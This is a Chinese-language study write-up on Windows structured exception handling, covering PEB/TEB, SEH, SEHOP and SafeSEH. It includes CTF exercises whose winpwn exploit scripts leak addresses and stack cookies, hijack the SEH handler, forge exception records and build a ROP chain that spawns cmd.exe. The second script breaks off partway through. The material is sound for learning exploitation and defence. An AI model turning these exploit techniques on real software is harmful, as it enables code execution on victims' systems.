Windows 异常处理 & 例题

henry Lv4

Windows 异常处理

win常见结构

理论部分大多来自下面sky师傅的链接,这里仅作为学习笔记(侵删),对这些机制有了解的师傅可以直接参考例题部分,讲解较为详细。

source: https://blog.csdn.net/qq_45323960/article/details/131312600

PEB

PEB(Process Environment Block)是 Windows 操作系统中的一个数据结构,它包含了进程的上下文信息。每个进程都有一个唯一的 PEB,它被存储在进程的用户模式地址空间中。
PEB 与 TEB 的相对偏移固定,使用 .process 或者 r $peb 查看进程的 PEB 地址,随后使用 dt _PEB peb_addr 查看进程的 PEB 信息

1
2
3
4
5
6
7
8
9
10
11
0:000> .process
Implicit process is now 00995000
0:000> r $peb
$peb=00995000
0:000> dt _PEB 00995000
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0x4 ''
...

!peb 查看 PEB 的具体内容,其中 Ldr 的地址为76facb00,即 ntdll!pebldr 地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:000> !peb
PEB at 00995000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: Yes
ImageBaseAddress: 00700000
NtGlobalFlag: 0
NtGlobalFlag2: 0
Ldr 76facb00
...
0:000> dc ntdll!pebldr
76facb00 00000030 00000001 00000000 00e12360 0...........`#..
76facb10 00e18418 00e12368 00e18420 00e12278 ....h#.. ...x"..
76facb20 00e182d0 00000000 00000000 00000000 ................
76facb30 00000002 00000000 00000000 00000000 ................
76facb40 00000000 00000000 00000000 00000000 ................
76facb50 00000000 00000000 00000000 00000000 ................
76facb60 00000000 00000000 00000000 00000000 ................
76facb70 00000000 00000000 00000000 00000000 ................

PEB 结构在 Windows Pwn 中的作用主要是泄露 TEB 地址程序基址,以及通过修改其中的 ProcessHeap 完成对进程默认堆的切换

TEB

TEB(Thread Environment Block)是 Windows 操作系统中的一个线程私有的数据结构,用于存储线程相关的信息。每个线程都有一个对应的 TEB 。32 位程序 FS 寄存器指向当前线程的 TEB ,64 位程序 GS 寄存器指向当前线程的 TEB

使用 r $teb 查看进程的 TEB 地址,!teb 可以查看 TEB 详细信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:000> r $teb
$teb=00998000
0:000> !teb
TEB at 00998000
ExceptionList: 00affcf0
StackBase: 00b00000
StackLimit: 00afd000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 00998000
EnvironmentPointer: 00000000
ClientId: 00003638 . 00000ae0
RpcHandle: 00000000
Tls Storage: 00e1acb8
PEB Address: 00995000
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0

TEB 的开头是一个 NT_TIB 结构,具体如下:

1
2
3
4
5
6
7
8
9
10
0:000> dt _nt_tib
ntdll!_NT_TIB
+0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase : Ptr32 Void
+0x008 StackLimit : Ptr32 Void
+0x00c SubSystemTib : Ptr32 Void
+0x010 FiberData : Ptr32 Void
+0x010 Version : Uint4B
+0x014 ArbitraryUserPointer : Ptr32 Void
+0x018 Self : Ptr32 _NT_TIB

TEB 结构在 Windows Pwn 中的作用是泄露栈地址

NT_TIB 中一些重要的字段的解释:

ExceptionList:指向当前线程的异常处理器链表的头部。当线程发生异常时,系统会将异常处理器添加到该链表中,以便进行异常处理。
StackBaseStackLimit:分别指向线程栈的起始地址和结束地址。这是我们我们泄露栈基址的一个途径。
Self指向当前 TEB 的指针。对于任何 TEB,该字段的值应该等于 TEB 的地址。

SEH

SEH(Structured Exception Handling,结构化异常处理)是 Windows 操作系统中的一种异常处理机制。

异常处理需要注册异常,即在异常处理链表中添加 _EXCEPTION_REGISTRATION_RECORD 节点,代码如下:

1
2
3
push offset SEHandler
push fs:[0]
mov fs:[0], esp

如果程序当前的函数执行完毕需要卸载当前函数中注册的 SEH 处理程序,代码如下:

1
2
mov esp, dword ptr fs:[0]
pop dword ptr fs:[0]

_EXCEPTION_REGISTRATION_RECORD 中的 Next 指向上一个 _EXCEPTION_REGISTRATION_RECORD 结构,Handler 指向异常处理的代码。

nipaste_2024-05-16_21-59-3

MSC 在 32 位模式对异常处理链表的节点 _EXCEPTION_REGISTRATION_RECORD 被扩充为 CPPEH_RECORD (具体与编译器版本有关),其成员 _EH3_EXCEPTION_REGISTRATION 结构是对原始的 SEH 结构 _EXCEPTION_REGISTRATION_RECORD扩充。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
typedef struct _EH4_SCOPETABLE_RECORD {
int EnclosingLevel;
void *FilterFunc;
void *HandlerFunc;
} *PSCOPETABLE_ENTRY;

struct _EH4_SCOPETABLE {
DWORD GSCookieOffset;
DWORD GSCookieXOROffset;
DWORD EHCookieOffset;
DWORD EHCookieXOROffset;
struct _EH4_SCOPETABLE_RECORD ScopeRecord[];
};

struct _EH3_EXCEPTION_REGISTRATION {
struct _EH3_EXCEPTION_REGISTRATION *Next;
PVOID ExceptionHandler;
PSCOPETABLE_ENTRY ScopeTable;
DWORD TryLevel;
};

struct CPPEH_RECORD {
DWORD old_esp;
EXCEPTION_POINTERS *exc_ptr;
struct _EH3_EXCEPTION_REGISTRATION registration;
};

MSC编译器引入了_try_except_finally 关 完成异常处理,使用方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
__try {
/*可能产生异常的代码*/
} __except (/*异常筛选代码*/ FilterFunction(GetExceptionCode(), GetExceptionInformation())) {
/*异常处理代码*/
ExceptionHandler();
}

__try {
/*可能产生异常的代码*/
} __finally {
/*终结处理代码*/
FinallyHandler();
}

FilterFunction 由用户定义用来筛选异常,返回值有如下三种:

1
2
3
4
// Defined values for the exception filter expression
#define EXCEPTION_EXECUTE_HANDLER 1
#define EXCEPTION_CONTINUE_SEARCH 0
#define EXCEPTION_CONTINUE_EXECUTION (-1)
  • EXCPTION_EXECUTE_HANDLER:表示该异常在预料之中,直接执行下面的 ExceptionHandler 。
  • EXCEPTION_CONTINUE_SEARCH:表示不处理该异常,请继续寻找其他处理程序。
  • EXCEPTION_CONTINUE_EXECUTION:表示该异常已被修复,请回到异常现场再次执行。

ExceptionHandler 处理完异常后,需要返回如下返回值:

1
2
3
4
5
6
7
8
// Exception disposition return values
typedef enum _EXCEPTION_DISPOSITION
{
ExceptionContinueExecution, //0
ExceptionContinueSearch, //1
ExceptionNestedException, //2
ExceptionCollidedUnwind //3
} EXCEPTION_DISPOSITION;
  • ExceptionContinueExecution:表示异常已经被处理,程序可以继续执行。此时,程序会从发生异常的地址处继续执行,而不会跳转到异常处理程序中。
  • ExceptionContinueSearch:表示异常未被处理,程序应该继续搜索异常处理程序。当多个异常处理程序都可以处理同一个异常时,该枚举值可以用于指示程序继续搜索下一个异常处理程序。
  • ExceptionNestedException:表示在处理当前异常时又发生了一个异常。此时,程序会跳转到新的异常处理程序中,处理新的异常。
  • ExceptionCollidedUnwind:表示发生了一些不可恢复的错误,无法继续执行当前线程。此时,线程的栈会被展开,所有的异常处理程序都会被调用,直到找到一个可以处理当前异常的异常处理程序。如果没有找到这样的异常处理程序,程序将终止。

以下面这段代码为例(SEH.exe SEH.pdb ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <iostream>
#include <windows.h>

int main() {
__try {
__try {
__try {
// 可能会引发异常的代码
*(int *) nullptr = 1;
} __except (EXCEPTION_CONTINUE_SEARCH) {
// 处理异常
puts("Handler 2");
}
} __except (EXCEPTION_EXECUTE_HANDLER) {
// 处理异常
puts("Handler 1");
}
__try {
int x = 0;
x /= x;
} __finally {
// 处理异常
puts("Handler 3");
}
} __except (EXCEPTION_CONTINUE_EXECUTION) {
puts("Handler 4");
}
return 0;
}

从 ida 中查看反汇编部分代码大致如下:

nipaste_2024-05-17_11-15-0

可以看到程序通过 TryLevel 更新为当前所在 __try 块的编号,这里给出 sky 针对这个程序画出相关结构图:nipaste_2024-05-17_11-15-1

这张图对比着前面的几个结构体来理解比较好(这张图对于理解后面的 SEH 利用非常重要)。

处理函数使用 _except_handler4 作为代理函数来调用用户定义的处理函数。用户定义的 FilterFuncHandlerFunc 保存在 SCOPETABLE 中(实际调试的 SCOPETABLE 可能是使用了 _EH3_SCOPETABLE_RECORD 因此和前面的 _EH4_SCOPETABLE_RECORD 定义有所不同)。

通过分析汇编可知,MSC 对用户定义的 __try 块进行了编号,每个 __try 的编号为其在 SCOPETABLE 中对应的 SCOPETABLE_RECORD 的下标,对于不在 __try 块的情况编号为 -2(0xFFFFFE)。当代码执行到某个 __try 块中时,会先将栈中的 CPPEH_RECORD 的 TryLevel 更新为当前所在 __try 块的编号。另外, SCOPETABLE 中的 SCOPETABLE_RECORD 的 EnclosingLevel 记录了 __try 块外层包裹的 __try 块的编号,这样 _except_handler4 进行异常处理的时候就可以按正确的顺序调用处理函数

nipaste_2024-05-17_11-25-4

如该图中所示,在异常处理函数中还会用 old_esp 替换 esp 进一步完成栈回滚。(这里非常重要,如果有恢复 esp 为 old_esp 的操作则说明栈帧恢复到注册异常时的栈,异常处理函数准备直接跳转到发生异常的函数的结尾卸载 SEH 然后直接返回,此时 handler 的返回值即为异常函数的返回值,这种情况也对应着 __expect(…){…} 中没有调用用户定义的异常处理函数而是直接把代码写在 {…} 中而没有返回值的情况。否则说明 handler 在其所在的栈帧中分析处理异常,返回值为异常处理的结果。)

触发异常后,输入 !exchain 可以查看 seh chain(有一种错误说法是 TryLevel 设为 0 后就可以用 !exchain 查看,实际上必须是触发异常后查看的 chain 才是 seh chain)

EXCEPTION_REGISTRATION 依次连接,最后一个 EXCEPTION_REGISTRATION 的 next 为 0xFFFFFFFF ,exceptionhandler 为 ntdll!FinalExceptionHandler
nipaste_2024-05-17_11-30-4

例题

SEHOP

这道题比较简单,但是正是因为简单,我们才能够不受其他因素影响,更好的通过这道题去理解 SEH 异常处理机制。

检查保护

nipaste_2024-05-17_16-48-0

开了 GS 保护,我们需要泄露 stack_cookie。

静态分析

nipaste_2024-05-17_16-51-3

同样是存在栈溢出,而且里面存在貌似异常处理的代码,我们可以从汇编更能清晰看到程序异常处理步骤。nipaste_2024-05-17_16-55-3

可以看到正如前面异常机制中所说的那样,在进入 try 块的时候,程序会将 TryLevel 更新为当前 try 块的编号,用来在发生异常时定位异常处理程序。

动态分析

nipaste_2024-05-17_17-04-3

首先通过简单调试可以发现,栈中存在一些 ucrtbased 库的地址,包括程序地址,我们可以进行栈溢出进行泄露,当然程序可能会崩溃,不过我们重启就好了,这些地址不会像 linux 那样被重新覆盖,只有机器重启了,这些地址才会发生变化。

step.1 leak ucrtbased addr & step.2 leak code_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# step.1 leak ucrtbased addr
payload = 'a'*0x10c
sa("What is your name:", payload)
rl('a'*0x10c)
ucrtbased.address = u32(io.recv(4)) - 0x0afbd2
li("ucrt_base", ucrtbased.address)
io.close()

# step.2 leak code_base
io = process(file_name)
# windbgx.attach(io, 'bp SEH + 0x154FA')
rl("This is the stack address : 0")
stack_addr = int(io.recv(8), 16)
li("stack_addr", stack_addr)
payload = 'a'*0x114
sa("What is your name:", payload)
rl('a'*0x114)
pe.address = u32(io.recv(3).ljust(4, '\0')) - 0x012120
li("code_base", pe.address)
io.close()

nipaste_2024-05-17_17-07-2

step.3 attack SEH

这一步来到我们这一题的重点,首先思考我们再有了前面的两个地址之后,为什么不直接 ret2libc 呢,原因是还有一个 stackcookie,这个值程序每次启动时,都会重新发生变化,所以我们必须保证程序不崩溃的情况下,一次完成利用,这里就需要借助 SEH 这个好东西。

我们再次回到前面的栈里,看看栈里面都有些什么东西

nipaste_2024-05-17_17-13-4

这是我们在正常输入时栈里面的状态。

nipaste_2024-05-17_17-15-2

上图为 stack_cookie 所在的位置,我们如果破坏了它,会导致__security_check_cookie(x) 报错,导致不能正常 ROP。

nipaste_2024-05-17_17-19-1

还记的前面的那张图嘛,下图红框中的数据与我们上图中栈里的数据一一对应。

nipaste_2024-05-17_17-20-2

我们这里需要关注的是 ExceptionHandler,它的值为 00c62120,正常情况下它所指向的是 __except_handler4 异常处理句柄函数,当捕捉到异常时,首先会从栈里加载该地址,调用进行处理。

nipaste_2024-05-17_17-25-1

理所当然想到的是,如果我们这里将这个地址覆盖为其他地址,就可完成程序的执行流劫持,这也就是我们第三步所要做的事情。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# step.3 attack SEH
io = process(file_name)
main_addr = pe.address + 0x15450
li("main_addr", main_addr)
# windbgx.attach(io, "bp SEH + 0x154FA\nbp SEH + 0x15545")
# windbgx.attach(io, 'bp SEH + 0x15588')
rl("This is the stack address : 0")
stack_addr = int(io.recv(8), 16)
li("stack_addr", stack_addr)
# create fake SEH handler
payload = '\xcc'*0x104
payload += p32(0xdeadbeef) # Stack_cookie
payload += p32(0xdeadbeef) # old_esp
payload += p32(0xdeadbeef) # exc_ptr
payload += p32(stack_addr) # next
payload += p32(main_addr) # EXceptionHandler ==> overwrite with our addr
sa("What is your name:", payload)
sla("Give me one shot: ", "0")

我们将 EXceptionHandler 处的地址改为了 main 函数地址,使得在发生异常时,把 main 函数当做异常处理调用函数。

注意事项:

这里我们实际上是将 main 函数作为了 handler 函数,所以会发生重复调用,参考如下解释:

如果我们把 Handler 从原本的 __except_handler4 覆盖为 main 函数,那么当触发异常时会把 main 函数当做 Handler 调用。

再次进入 main 函数时,会在原来异常链上添加一个新的异常节点,该节点是正常的 __except_handler4 。如果此时触发异常会通过 __except_handler4 执行新注册的异常处理程序, 这个异常处理程序会输出 This is exception handler\n 然后返回 0 。由于 main 函数作为上一层 main 函数的 Handler 函数,这个返回值会被当做 Handler 函数返回了 ExceptionContinueExecution ,上一层的 main 函数认为异常以及被处理完,因此再次返回错误的位置执行,结果再次触发异常进入 main 函数。至此,我们实现了 main 函数的多次调用。

source:https://blog.csdn.net/qq_45323960/article/details/131697469

上面的话稍微有点绕,但请读者一定要认真思考,才能对后面的理解更加深刻,这里 sky 师傅也画了张图来解释上面的调用

nipaste_2024-05-17_17-25-1

因此程序总是会反复执行main函数,这将有利于我们泄露 stackcookie,并布置 ROP。

step.4 leak stack_cookie & step.5 hijack control flow by rop dont trigger exceptionHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# step.4 leak stack_cookie
# windbgx.attach(io, "bp SEH + 0x154FA\nbp SEH + 0x15545")
rl("This is the stack address : 0")
stack_addr = int(io.recv(8), 16)
li("stack_addr", stack_addr)
# create fake SEH handler
payload = 'a'*0x100 + '\xcc'*0x4
sa("What is your name:", payload)
rl("\xcc"*4)
stack_cookie = u32(re(4))
li("stack_cookie", stack_cookie)
sla("Give me one shot: ", "0")

# step.5 hijack control flow by rop dont trigger exceptionHandler
# windbgx.attach(io, "bp SEH + 0x154FA\nbp SEH + 0x15545")
rl("This is the stack address : 0")
stack_addr = int(io.recv(8), 16)
li("stack_addr", stack_addr)
# create fake SEH handler
payload = 'a'*0x100 + '\xcc'*0x4
payload += p32(stack_cookie) # Stack_cookie
payload += p32(0xdeadbeef) # old_esp
payload += p32(0xdeadbeef) # exc_ptr
payload += p32(stack_addr) # next
payload += p32(main_addr) # EXceptionHandler ==> overwrite with our addr
payload += p32(0xdeadbeef)*2 + p32(stack_addr)
payload += p32(ucrtbased.symbols['system']) + p32(main_addr) + p32(ucrtbased.search("cmd.exe").next())

sa("What is your name:", payload)
rl("\xcc"*4)
stack_cookie = u32(re(4))
li("stack_cookie", stack_cookie)
sla("Give me one shot: ", str(stack_addr))

这一步利用较为简单,可以尝试自己看代码进行理解。

最后效果如下:

nipaste_2024-05-17_17-37-0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from winpwn import *
from time import *
import sys
#--------------------------------------------------------------------
# context.log_level='debug'
context.arch='amd64'
re = lambda data: io.recv(data)
sd = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
sa = lambda content, data: (io.recvuntil(content), io.send(data))
sla = lambda content, data: (io.recvuntil(content), io.sendline(data))
li = lambda content, data: sys.stdout.write('\x1b[01;38;5;214m' + content + ' == ' + hex(data) + '\x1b[0m\n')
ucrtbased = winfile("ucrtbased.dll")
# kernel32 = winfile("C:/Windows/SYSTEM32/kernel32.dll")
# kernel32 = winfile("C:/Windows/SysWOW64/kernel32.dll")
# ntdll = winfile("C:/Windows/SYSTEM32/ntdll.dll")
file_name = './SEH.exe'
pe = winfile(file_name, rebase = True)
io = process(file_name)
# io = remote()
#--------------------------------------------------------------------
# windbgx.attach(io, 'bp SEH + 0x154FA')
rl("This is the stack address : 0")
stack_addr = int(io.recv(8), 16)
li("stack_addr", stack_addr)

# step.1 leak ucrtbased addr
payload = 'a'*0x10c
sa("What is your name:", payload)
rl('a'*0x10c)
ucrtbased.address = u32(io.recv(4)) - 0x0afbd2
li("ucrt_base", ucrtbased.address)
io.close()


# step.2 leak code_base
io = process(file_name)
# windbgx.attach(io, 'bp SEH + 0x154FA')
rl("This is the stack address : 0")
stack_addr = int(io.recv(8), 16)
li("stack_addr", stack_addr)
payload = 'a'*0x114
sa("What is your name:", payload)
rl('a'*0x114)
pe.address = u32(io.recv(3).ljust(4, '\0')) - 0x012120
li("code_base", pe.address)
io.close()

# step.3 attack SEH
io = process(file_name)
main_addr = pe.address + 0x15450
li("main_addr", main_addr)
# windbgx.attach(io, "bp SEH + 0x154FA\nbp SEH + 0x15545")
# windbgx.attach(io, 'bp SEH + 0x15588')
rl("This is the stack address : 0")
stack_addr = int(io.recv(8), 16)
li("stack_addr", stack_addr)
# create fake SEH handler
payload = '\xcc'*0x104
payload += p32(0xdeadbeef) # Stack_cookie
payload += p32(0xdeadbeef) # old_esp
payload += p32(0xdeadbeef) # exc_ptr
payload += p32(stack_addr) # next
payload += p32(main_addr) # EXceptionHandler ==> overwrite with our addr

sa("What is your name:", payload)
sla("Give me one shot: ", "0")

# step.4 leak stack_cookie
# windbgx.attach(io, "bp SEH + 0x154FA\nbp SEH + 0x15545")
rl("This is the stack address : 0")
stack_addr = int(io.recv(8), 16)
li("stack_addr", stack_addr)
# create fake SEH handler
payload = 'a'*0x100 + '\xcc'*0x4
sa("What is your name:", payload)
rl("\xcc"*4)
stack_cookie = u32(re(4))
li("stack_cookie", stack_cookie)
sla("Give me one shot: ", "0")

# step.5 hijack control flow by rop dont trigger exceptionHandler
# windbgx.attach(io, "bp SEH + 0x154FA\nbp SEH + 0x15545")
rl("This is the stack address : 0")
stack_addr = int(io.recv(8), 16)
li("stack_addr", stack_addr)
# create fake SEH handler
payload = 'a'*0x100 + '\xcc'*0x4
payload += p32(stack_cookie) # Stack_cookie
payload += p32(0xdeadbeef) # old_esp
payload += p32(0xdeadbeef) # exc_ptr
payload += p32(stack_addr) # next
payload += p32(main_addr) # EXceptionHandler ==> overwrite with our addr
payload += p32(0xdeadbeef)*2 + p32(stack_addr)
payload += p32(ucrtbased.symbols['system']) + p32(main_addr) + p32(ucrtbased.search("cmd.exe").next())

sa("What is your name:", payload)
rl("\xcc"*4)
stack_cookie = u32(re(4))
li("stack_cookie", stack_cookie)
sla("Give me one shot: ", str(stack_addr))

io.interactive()

SafeSEH

由于 SageSEH 保护和 SEHOP 保护有关系,先来看看 SEHOP 是什么,在 ntdll!RtlDispatchException 中有对 SEH 链表的检查,下面是部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 获取当前线程的栈的限制和基址
RtlpGetStackLimits(&StackLimit, &StackBase);

// 获取当前线程的异常处理链表头部
ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;

// 初始化进程信息
ProcessInformation = 0;

// 查询进程执行标志信息,如果失败则将信息置为0
if ( ZwQueryInformationProcess((HANDLE)0xFFFFFFFF, ProcessExecuteFlags, &ProcessInformation, 4u, 0) < 0 )
ProcessInformation = 0;

// 检查进程信息中的特定位或者异常链的有效性
if ( (ProcessInformation & 0x40) != 0 || RtlpIsValidExceptionChain(ExceptionList, StackLimit, StackBase) )
{
// 进入异常处理链表的遍历
RegistrationPointerForCheck = ExceptionList;
NestedRegistration = 0;
while ( RegistrationPointerForCheck != (_EXCEPTION_REGISTRATION_RECORD *)-1 ) // -1 表示异常链结束
{
// 检查异常处理节点的有效性
if ( (unsigned int)RegistrationPointerForCheck < StackLimit // 异常处理节点不在栈中
|| (unsigned int)&RegistrationPointerForCheck[1] > StackBase // 异常处理节点不在栈中
|| ((unsigned __int8)RegistrationPointerForCheck & 3) != 0 // 异常处理节点的地址没有4字节对齐
|| (Handler = RegistrationPointerForCheck->Handler, (unsigned int)Handler < StackBase) // 处理函数地址不在栈中
&& StackLimit <= (unsigned int)Handler // 处理函数地址不在栈中
|| !RtlIsValidHandler(Handler, ProcessInformation, pContext) ) // 检查处理函数是否有效
{
// 如果发现异常处理节点不合法,设置异常记录标志为异常栈无效
pExcptRec->ExceptionFlags |= EXCEPTION_STACK_INVALID;
// 跳转到异常处理出口
goto DispatchExit;
}
}
}

主要检查 SEH 是否满足如下条件:

  • SEH 节点在栈中
  • SEH节点指向的 Handler 不在栈中
  • SEH 节点地址 4 字节对齐
  • SEH 最后一个节点的 Next 为 -1 且 Handler 为 RtlpFinalExceptionHandler
  • SEH 节点的 Next 指向的下一个节点的地址一定大于当前节点

只要泄露栈地址就可以伪造 SEH 链表绕过 SEHOP 检查。

SafeSEH

ntdll!RtlDispatchException 中调用 RtlIsValidHandler 进一步检查 SEH 链表,伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
BOOL RtlIsValidHandler(void* handler) {
// 如果 handler 所在的模块有 SafeSEH 表,则进行检查
if (handler image has a SafeSEH table) {
// 在 SafeSEH 表中找到 handler,返回 TRUE
if (handler found in the table)
return TRUE;
// 在 SafeSEH 表中未找到 handler,返回 FALSE
else
return FALSE;
}
// 如果进程标志中设置了 ExecuteDispatchEnable 或 ImageDispatchEnable 位,则返回 TRUE
if (ExecuteDispatchEnable|ImageDispatchEnable bit set in the process flags)
return TRUE;
// 如果 handler 所在页面可执行
if (handler is on a executeable page) {
// 如果 handler 在一个模块中
if (handler is in an image) {
// 如果模块设置了 IMAGE_DLLCHARACTERISTICS_NO_SEH 标志,返回 FALSE
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
return FALSE;
// 如果模块是一个带有 ILonly 标志的 .NET 程序集,返回 FALSE
if (image is a .NET assembly whith the ILonly flag set)
return FALSE;
// 否则返回 TRUE
return TRUE;
}
// 如果 handler 不在模块中
if (handler is not in an image) {
// 如果进程标志中设置了 ImageDispatchEnable 位,则返回 TRUE
if (ImageDispatchEnable bit set in the process flags)
return TRUE;
// 否则返回 FALSE
else
return FALSE;
}
}
// 如果 handler 所在页面不可执行
if (handler is on a non-executable page) {
// 如果进程标志中设置了 ExecuteDispatchEnable 位,则返回 TRUE
if (ExecuteDispatchEnable bit set in the process flags)
return TRUE;
// 否则引发访问冲突异常
else
raise ACCESS_VIOLATION;
}
}

绕过方法:

  • Handler 覆盖指向有 SEH 但没有 SafeSEH 保护的 Image 即可绕过。

例题

SafeSEH

检查保护

nipaste_2024-05-17_21-25-4

程序开了 SafeSEH,意味着我们不能像上一题一样直接覆盖 handler 函数地址劫持执行流,开了 SafeSEH 的程序会像保存 security_cookie 那样将调用的 handler 函数地址保存到一个叫 SafeSEH 表里面,如果这个地址不能在表里找到,程序就会崩溃报错。

静态分析

nipaste_2024-05-17_21-30-4

程序中可以进行两次输入,意味着我们可以先泄露 stack_cookie,后栈溢出布置 ROP。需要注意的是 *(_DWORD *)v8 &= 0xFFF00u;,这一行代码实际上是无论我们输入的地址是否合法,这一步都会将该地址设置为非法地址,并在下面赋值,从而强行走异常处理机制。

先来继续看这张经典图:

nipaste_2024-05-17_21-35-1

如果我们这里只考虑布置 ROP,那势必会破坏 CPPEH_RECORD 结构体,从而导致在异常处理的时候程序会崩溃,所以说这一题重点其实就是要恢复该结构体

不过幸好我们已经有了栈地址,程序基址,该有的都有了,实际上我们只需要通过调试,获取到未破坏前的结构体样貌,然后在通过已知地址去计算偏移,重新恢复结构体内容即可。

具体内容就跟着 windbg 里面的数据去逐个计算偏移恢复,板子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# restore the CPPEH_RECORD and ScopeTable to ensure ROP successfully
#-------------------fake_CPPEH_RECORD----------------------
fake_CPPEH_RECORD = p32(stack_addr - 0xe0) # old_esp
fake_CPPEH_RECORD += p32(ucrtbased.address + 0xafbd2) # exc_ptr
fake_CPPEH_RECORD += p32(stack_addr + 0x18c) # next
fake_CPPEH_RECORD += p32(pe.address + 0x1e30) # EXceptionHandler ==> overwrite with our addr
fake_CPPEH_RECORD += p32(stack_addr ^ security_cookie) # ScopeTable
fake_CPPEH_RECORD += p32(0xfffffffe) # TryLevel
#----------------------------------------------------------
# 001390a0 ffffffe4 00000000 fffffe00 00000000 ................
# 001390b0 fffffffe 001318b7 001318bd 00000000 ................
# 001390c0 fffffffe 00000000 ffffffac 00000000 ................
#-------------------fake_ScopeTable-----------------------
FilterFunc = pe.address + 0x18b7
HandlerFunc = pe.address + 0x18bd
fake_ScopeTable = p32(0xffffffe4) # GSCookieOffset
fake_ScopeTable += p32(0x00000000) # GSCookieXOROffset
fake_ScopeTable += p32(0xfffffe00) # EHCookieOffset
fake_ScopeTable += p32(0x00000000) # EHCookieXOROffset
fake_ScopeTable += p32(0xfffffffe) # ScopeRecord.EnclosingLevel
fake_ScopeTable += p32(FilterFunc) # ScopeRecord.FilterFunc
fake_ScopeTable += p32(HandlerFunc) # ScopeRecord.HandlerFunc
fake_ScopeTable += p32(0x00000000) # end of ScopeTable
#----------------------------------------------------------

上面唯一需要注意的是,ScopeTable 的计算,实际程序中会将 ScopeTable 的真实地址与 security_cookie 进行异或,所以我们这里也需要在覆盖的时候,覆盖其具体的异或值。

动态分析

步骤大体与上一题类似,唯一就是恢复这个两个结构体吧,这里展示一下如何找上面的一些伪造数据:

nipaste_2024-05-17_21-46-1

最后效果

nipaste_2024-05-17_21-47-4

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from winpwn import *
from time import *
import sys
#--------------------------------------------------------------------
context.log_level='debug'
context.arch='amd64'
re = lambda data: io.recv(data)
sd = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
sa = lambda content, data: (io.recvuntil(content), io.send(data))
sla = lambda content, data: (io.recvuntil(content), io.sendline(data))
li = lambda content, data: sys.stdout.write('\x1b[01;38;5;214m' + content + ' == ' + hex(data) + '\x1b[0m\n')
ucrtbased = winfile("ucrtbased.dll")
# kernel32 = winfile("C:/Windows/SYSTEM32/kernel32.dll")
# kernel32 = winfile("C:/Windows/SysWOW64/kernel32.dll")
# ntdll = winfile("C:/Windows/SYSTEM32/ntdll.dll")
file_name = './SafeSEH.exe'
pe = winfile(file_name, rebase = True)
io = process(file_name)
# io = remote()
#--------------------------------------------------------------------
# windbgx.attach(io, 'bp SafeSEH + 0x1870')
rl("This is the stack address : 0")
stack_addr = int(io.recv(8), 16)
li("stack_addr", stack_addr)

# step.1 leak ucrtbased addr
payload = '\xcc'*0x10c
sa("What is your name:", payload)
rl('\xcc'*0x10c)
ucrtbased.address = u32(io.recv(4)) - 0x0afbd2
li("ucrt_base", ucrtbased.address)
io.close()


# step.2 leak code_base
io = process(file_name)
rl("This is the stack address : 0")
stack_addr = int(io.recv(8), 16)
li("stack_addr", stack_addr)
payload = 'a'*0x114
sa("What is your name:", payload)
rl('a'*0x114)
pe.address = u32(io.recv(3).ljust(4, '\0')) - 0x1e30
li("code_base", pe.address)
io.close()

# step.3 leak stack_cookie
io = process(file_name)
# windbgx.attach(io, 'bp SafeSEH + 0x18a8\n bp SafeSEH + 0x18C0')
rl("This is the stack address : 0")
stack_addr = int(io.recv(8), 16)
li("stack_addr", stack_addr)
# create fake SEH handler
payload = 'a'*0x100 + '\xcc'*0x4
sa("What is your name:", payload)
rl("\xcc"*4)
stack_cookie = u32(re(4))
li("stack_cookie", stack_cookie)
ebp = stack_addr + 0x120
security_cookie = ebp ^ stack_cookie
li("security_cookie", security_cookie)

# step.4 bypass SEH
main_addr = pe.address + 0x1780
# create fake SEH handler
payload = '\xcc'*0x104
payload += p32(stack_cookie) # Stack_cookie

# restore the CPPEH_RECORD and ScopeTable to ensure ROP successfully
#-------------------fake_CPPEH_RECORD----------------------
fake_CPPEH_RECORD = p32(stack_addr - 0xe0) # old_esp
fake_CPPEH_RECORD += p32(ucrtbased.address + 0xafbd2) # exc_ptr
